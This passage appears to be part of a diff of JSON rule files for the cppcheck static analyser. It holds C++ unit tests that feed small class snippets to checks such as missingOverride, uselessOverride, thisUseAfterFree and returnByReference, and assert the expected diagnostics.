(checkClass.checkOverride)();\n }\n\n void override1() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f(); };\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:37]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() override; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() final; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual auto foo( ) const -> size_t { return 1; }\\n\"\n \" virtual auto bar( ) const -> size_t { return 1; }\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public :\\n\"\n \" auto foo( ) const -> size_t { return 0; }\\n\"\n \" auto bar( ) const -> size_t override { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:8:10]: (style) The function 'foo' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"namespace Test {\\n\"\n \" class C {\\n\"\n \" public:\\n\"\n \" virtual ~C();\\n\"\n \" };\\n\"\n \"}\\n\"\n \"class C : Test::C {\\n\"\n \"public:\\n\"\n \" ~C();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18] -> [test.cpp:9:6]: (style) The destructor '~C' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct Base {\\n\"\n \" virtual void foo();\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct Derived: public Base {\\n\"\n \" void foo() override;\\n\"\n \" void foo(int);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct B {\\n\" // #9092\n \" virtual int f(int i) const = 0;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" struct D : B {\\n\"\n \" virtual int f(int i) const;\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:6:21]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::set);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector v);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector w = {});\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", \"\", errout_str());\n\n checkOverride(\"struct T {};\\n\" // #10920\n \"struct B {\\n\"\n \" virtual T f() = 0;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" friend T f();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:8:8]: (style) The function 'operator->' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n\n checkOverride(\"class Base {\\n\" // #12131\n \" virtual int Calculate(int arg) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \" int Calculate(int arg = 0) {\\n\"\n \" return arg * 2;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:5:9]: (style) The function 'Calculate' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct S {\\n\" // #12439\n \" virtual ~S() = default;\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \" ~D() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:5:6]: (style) The destructor '~D' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n }\n\n void overrideCVRefQualifiers() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() const; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() volatile; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &&; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n #define checkUselessOverride(...) checkUselessOverride_(__FILE__, __LINE__, __VA_ARGS__)\n void checkUselessOverride_(const char* file, int line, const char code[]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUselessOverride)();\n }\n\n void uselessOverride() {\n checkUselessOverride(\"struct B { virtual int f() { return 5; } };\\n\" // #11757\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:3:10]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f() = 0; };\\n\"\n \"int B::f() { return 5; }\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i + 1); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i, int j); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i, int j) override { return B::f(j, i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(); };\\n\"\n \"struct I { virtual int f() = 0; };\\n\"\n \"struct D : B, I {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S { virtual void f(); };\\n\"\n \"struct D : S {\\n\"\n \" void f() final { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S {\\n\"\n \"protected:\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \"public:\\n\"\n \" void f() override { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(int, int, int) const; };\\n\" // #11799\n \"struct D : B {\\n\"\n \" int m = 42;\\n\"\n \" void f(int a, int b, int c) const override;\\n\"\n \"};\\n\"\n \"void D::f(int a, int b, int c) const {\\n\"\n \" B::f(a, b, m);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #11803\n \" virtual void f();\\n\"\n \" virtual void f(int i);\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \" void f(int i) override;\\n\"\n \" void g() { f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\" // #11808\n \"struct D : B { void f() override {} };\\n\"\n \"struct D2 : D {\\n\"\n \" void f() override {\\n\"\n \" B::f();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" virtual int g() { return 7; }\\n\"\n \" virtual int h(int i, int j) { return i + j; }\\n\"\n \" virtual int j(int i, int j) { return i + j; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return 2; }\\n\"\n \" int g() override { return 7; }\\n\"\n \" int h(int j, int i) override { return i + j; }\\n\"\n \" int j(int i, int j) override { return i + j; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:9:9]: (style) The function 'g' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\"\n \"[test.cpp:5:17] -> [test.cpp:11:9]: (style) The function 'j' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\",\n errout_str());\n\n checkUselessOverride(\"struct B : std::exception {\\n\"\n \" virtual void f() { throw *this; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { throw *this; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO virtual void f() {}\\n\"\n \"struct B {\\n\"\n \" MACRO\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" MACRO\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" B() = default;\\n\"\n \" explicit B(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" virtual int f() const { return m; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" explicit D(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" int f() const override { return m; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO 1\\n\"\n \"struct B { virtual int f() { return 1; } };\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return MACRO; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12706\n \" virtual void f() { g(); }\\n\"\n \" void g() { std::cout << \\\"Base\\\\n\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { g(); }\\n\"\n \" virtual void g() { std::cout << \\\"Derived\\\\n\\\"; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12946\n \" virtual int f() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return b.f(); }\\n\"\n \" B b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkUnsafeClassRefMember(...) checkUnsafeClassRefMember_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkUnsafeClassRefMember_(const char* file, int line, const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).build();\n settings.safeChecks.classes = true;\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUnsafeClassRefMember)();\n }\n\n void unsafeClassRefMember() {\n checkUnsafeClassRefMember(\"class C { C(const std::string &s) : s(s) {} const std::string &s; };\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Unsafe class: The const reference member 'C::s' is initialized by a const reference constructor argument. You need to be careful about lifetime issues. [unsafeClassRefMember]\\n\", errout_str());\n }\n\n\n#define checkThisUseAfterFree(...) checkThisUseAfterFree_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisUseAfterFree_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkThisUseAfterFree)();\n }\n\n void thisUseAfterFree() {\n setMultiline();\n\n // Calling method..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete mInstance; hello(); }\\n\"\n \"private:\\n\"\n \" static C *mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:38]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:38]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello();\\n\"\n \" void reset() { mInstance.reset(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:29]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:7:18]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:29]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Use member..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x[1] = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" std::map x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Assign 'shared_from_this()' to non-static smart pointer\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:6:22]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:4:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:4:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Avoid FP..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { if (x) { mInstance.reset(); return; } hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const QString& path) : mPath( path ) {}\\n\"\n \"\\n\"\n \" static void initialize(const QString& path) {\\n\" // <- avoid fp in static method\n \" if (instanceSingleton)\\n\"\n \" delete instanceSingleton;\\n\"\n \" instanceSingleton = new C(path);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" static C* instanceSingleton;\\n\"\n \"};\\n\"\n \"\\n\"\n \"C* C::instanceSingleton;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid false positive when pointer is deleted in lambda\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void foo();\\n\"\n \" void set() { p = this; }\\n\"\n \" void dostuff() {}\\n\"\n \" C* p;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::foo() {\\n\"\n \" auto done = [this] () { delete p; };\\n\"\n \" dostuff();\\n\"\n \" done();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\" // #13311\n \"public:\\n\"\n \" static void init();\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" static C* self;\\n\"\n \" bool use;\\n\"\n \"};\\n\"\n \"C::C() { use = true; }\\n\"\n \"void C::init() {\\n\"\n \" if (self)\\n\"\n \" delete self;\\n\"\n \" self = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void ctu(const std::vector &code) {\n Check &check = getCheck();\n\n // getFileInfo\n std::list fileInfo;\n for (const std::string& c: code) {\n const std::string filename = std::to_string(fileInfo.size()) + \".cpp\";\n SimpleTokenizer tokenizer{settingsDefault, *this, filename};\n ASSERT(tokenizer.tokenize(c));\n fileInfo.push_back(check.getFileInfo(tokenizer, settingsDefault, \"\"));\n }\n\n // Check code..\n const CTU::FileInfo ctu;\n check.analyseWholeProgram(ctu, fileInfo, settingsDefault, *this); // TODO: check result\n\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n }\n\n void ctuOneDefinitionRule() {\n ctu({\"class C { C() { std::cout << 0; } };\", \"class C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C(); }; C::C() { std::cout << 0; }\", \"class C { C(); }; C::C() { std::cout << 1; }\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C() {} };\\n\", \"class C { C() {} };\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class C { C(); }; C::C(){}\", \"class C { C(); }; C::C(){}\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class A::C { C() { std::cout << 0; } };\", \"class B::C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n // 11435 - template specialisations\n const std::string header = \"template struct Test {};\\n\";\n ctu({header + \"template struct Test {};\\n\",\n header + \"template struct Test {};\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define getFileInfo(...) getFileInfo_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void getFileInfo_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n const Check& c = getCheck();\n Check::FileInfo * fileInfo = (c.getFileInfo)(tokenizer, settings1, \"\");\n\n delete fileInfo;\n }\n\n void testGetFileInfo() {\n getFileInfo(\"void foo() { union { struct { }; }; }\"); // don't crash\n getFileInfo(\"struct sometype { sometype(); }; sometype::sometype() = delete;\"); // don't crash\n }\n\n#define checkReturnByReference(...) checkReturnByReference_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkReturnByReference_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::performance).library(\"std.cfg\").build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkReturnByReference)();\n }\n\n void returnByReference() {\n checkReturnByReference(\"struct T { int a[10]; };\\n\" // #12546\n \"struct S {\\n\"\n \" T t;\\n\"\n \" int i;\\n\"\n \" std::string s;\\n\"\n \" T getT() const { return t; }\\n\"\n \" int getI() const { return i; }\\n\"\n \" std::string getS() const { return s; }\\n\"\n \" unknown_t f() { return; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (performance) Function 'getT()' should return member 't' by const reference. [returnByReference]\\n\"\n \"[test.cpp:8:17]: (performance) Function 'getS()' should return member 's' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct B {\\n\" // #12608\n \" virtual std::string f() { return \\\"abc\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" std::string f() override { return s; }\\n\"\n \" std::string s;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\"\n \" std::string f(std::string s) { return s; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S { S(); };\\n\" // #12620\n \"S::S() = delete;\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n checkReturnByReference(\"struct S {\\n\" // #12626\n \" std::string s;\\n\"\n \" operator std::string_view() const { return s; }\\n\"\n \" std::string_view get() const { return s; }\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct U {\\n\"\n \" T t;\\n\"\n \" operator const T& () const { return t; }\\n\"\n \"};\\n\"\n \"U u;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13011\n \" std::string s;\\n\"\n \" const std::string& foo() const & { return s; }\\n\"\n \" std::string foo() && { return s; }\\n\" // <- used for temporary objects\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S1 {\\n\" // #13056\n \" std::string str;\\n\"\n \" struct T { std::string strT; } mT;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" std::string get1() const {\\n\"\n \" return mS1->str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return mS1->mT.strT;\\n\"\n \" }\\n\"\n \" S1* mS1;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (performance) Function 'get1()' should return member 'str' by const reference. [returnByReference]\\n\"\n \"[test.cpp:9:17]: (performance) Function 'get2()' should return member 'strT' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S { std::string str; };\\n\" // #13059\n \"struct T {\\n\"\n \" S temp() const;\\n\"\n \" S s[1];\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" std::string get1() const {\\n\"\n \" return t.temp().str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return t.s[0].str;\\n\"\n \" }\\n\"\n \" T t;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:17]: (performance) Function 'get2()' should return member 'str' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13845\n \" std::string m;\\n\"\n \" std::string get() { return m; }\\n\"\n \"};\\n\"\n \"std::string f(std::optional o) {\\n\"\n \" return o.transform(&S::get).value_or(\\\"\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestClass)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/operatorEqToSelf.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/operatorEqToSelf.json new file mode 100644 index 0000000..32cca79 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/operatorEqToSelf.json @@ -0,0 +1,30 @@ +{ + "name": "operatorEqToSelf", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 35, + "branches": 14, + "apis": 35, + "test": [ + { + "description": null, + "expected-problems": 9, + "expected-linenumbers": [ + 1690, + 1956, + 2094, + 2146, + 2214, + 2509, + 2578, + 2595, + 2614 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"check.h\"\n#include \"checkclass.h\"\n#include \"ctu.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n#include \n\nclass TestClass : public TestFixture {\npublic:\n TestClass() : TestFixture(\"TestClass\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").build();\n const Settings settings1 = settingsBuilder().severity(Severity::warning).library(\"std.cfg\").build();\n const Settings settings2 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").certainty(Certainty::inconclusive).build();\n const Settings settings3 = 